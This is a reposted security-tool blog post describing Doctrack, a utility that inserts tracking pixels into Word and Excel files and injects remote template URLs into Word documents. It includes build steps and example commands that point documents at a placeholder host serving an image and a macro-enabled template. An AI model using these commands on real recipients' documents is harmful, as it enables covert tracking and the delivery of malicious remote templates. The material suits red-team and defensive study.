Doctrack - Tool To Manipulate And Insert Tracking Pixels Into Office Open XML Documents (Word, Excel)

Doctrack - Tool To Manipulate And Insert Tracking Pixels Into Office Open XML Documents (Word, Excel)
2020-11-20 05:30:00 Author: www.blogger.com(查看原文) 阅读量:147 收藏

tag:blogger.com,1999:blog-8317222231133660547.post-55724699568454164352020-11-19T17:30:00.008-03:002020-11-19T17:30:02.775-03:00Doctrack - Tool To Manipulate And Insert Tracking Pixels Into Office Open XML Documents (Word, Excel)<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-7l9KkcrqlUs/X7X0u9vvh2I/AAAAAAAAUbA/g7naKUa5QDs4qXLA1rwY4Tbrybzi7-m3wCNcBGAsYHQ/s832/xml.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="745" data-original-width="832" height="359" src="https://1.bp.blogspot.com/-7l9KkcrqlUs/X7X0u9vvh2I/AAAAAAAAUbA/g7naKUa5QDs4qXLA1rwY4Tbrybzi7-m3wCNcBGAsYHQ/w400-h359/xml.png" width="400" /></a></div><p><br /></p> <p>Tool to manipulate and insert <a href="https://www.kitploit.com/search/label/Tracking" target="_blank" title="tracking">tracking</a> pixels into Office Open XML documents.</p> <span><a name='more'></a></span><div><br /></div><span style="font-size: large;"><b>Features</b></span><br /> <ul> <li>Insert tracking pixels into Office Open XML documents (Word and Excel)</li> <li>Inject template URL for <a href="https://www.kitploit.com/search/label/Remote" target="_blank" title="remote">remote</a> template <a href="https://www.kitploit.com/search/label/Injection" target="_blank" title="injection">injection</a> attack</li> <li>Inspect external target URLs and metadata</li> <li>Create Office Open XML documents (#TODO)</li> </ul> <br /><span style="font-size: large;"><b>Installation</b></span><br /> <p>You will need to download <a href="https://dotnet.microsoft.com/download/" rel="nofollow" target="_blank" title=".Net Core SDK">.Net Core SDK</a> for your platform. Then, to build single <a href="https://www.kitploit.com/search/label/Binary" target="_blank" title="binary">binary</a> on Windows:</p> <div><pre><code>$ git clone https://github.com/wavvs/doctrack.git<br />$ cd doctrack/<br />$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true</code></pre></div> <p>On Linux:</p> <div><pre><code>$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true</code></pre></div> <br /><span style="font-size: large;"><b>Usage</b></span><br /> <div><pre><code>$ doctrack --help<br />Tool to manipulate and insert tracking pixels into Office Open XML documents.<br />Copyright (C) 2020 doctrack<br /><br /> -i, --input Input filename.<br /> -o, --output Output filename.<br /> -m, --metadata <a href="https://www.kitploit.com/search/label/Metadata" target="_blank" title="Metadata">Metadata</a> to supply (json file)<br /> -u, --url URL to insert.<br /> -e, --template (Default: false) If set, enables template URL injection.<br /> -t, --type Document type. If --input is not specified, creates new<br /> document and saves as --output.<br /> -l, --list-types (Default: false) Lists available types for document<br /> creation.<br /> -s, --inspect (Default: false) Inspect external targets.<br /> --help Display this help screen.</code></pre></div> <p>Available document types listed below. If you want to insert tracking URL just use either Document or Workbook types, other types listed here are only for document creation (#TODO).</p> <div><pre><code>$ doctrack --list-types<br />Document (*.docx)<br />MacroEnabledDocument (*.docm)<br />MacroEnabledTemplate (*.dotm)<br />Template (*.dotx)<br />Workbook (*.xlsx)<br />MacroEnabledWorkbook (*.xlsm)<br />MacroEnabledTemplateX (*.xltm)<br />TemplateX (*.xltx)</code></pre></div> <p>Insert tracking pixel and change document metadata:</p> <div><pre><code>$ doctrack -t Document -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png</code></pre></div> <p>Insert remote template URL (remote template injection attack), works only with Word documents:</p> <div><pre><code>$ doctrack -t Document -i test.docx -o test.docx --url http://test.url/template.dotm --template</code></pre></div> <p>Inspect external target URLs and metadata:</p> <div><pre><code>$ doctrack -t Document -i test.docx --inspect<br />[External targets]<br />Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png<br />Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm<br />[Metadata]<br />Creator:<br />Title:<br />Subject:<br />Category:<br />Keywords:<br />Description:<br />ContentType:<br />ContentStatus:<br />Version:<br />Revision:<br />Created: 13.10.2020 23:20:39<br />Modified: 13.10.2020 23:20:39<br />LastModifiedBy:<br />LastPrinted: 13.10.2020 23:20:39<br />Language:<br />Identifier:</code></pre></div> <br /><br /><div style="text-align: center;"><b><span style="font-size: x-large;"><a class="kiploit-download" href="https://github.com/wavvs/doctrack" rel="nofollow" target="_blank" title="Download Doctrack">Download Doctrack</a></span></b></div>Zion3R[email protected]

文章来源: http://www.blogger.com/feeds/8317222231133660547/posts/default/5572469956845416435
如有侵权请联系:admin#unsafe.sh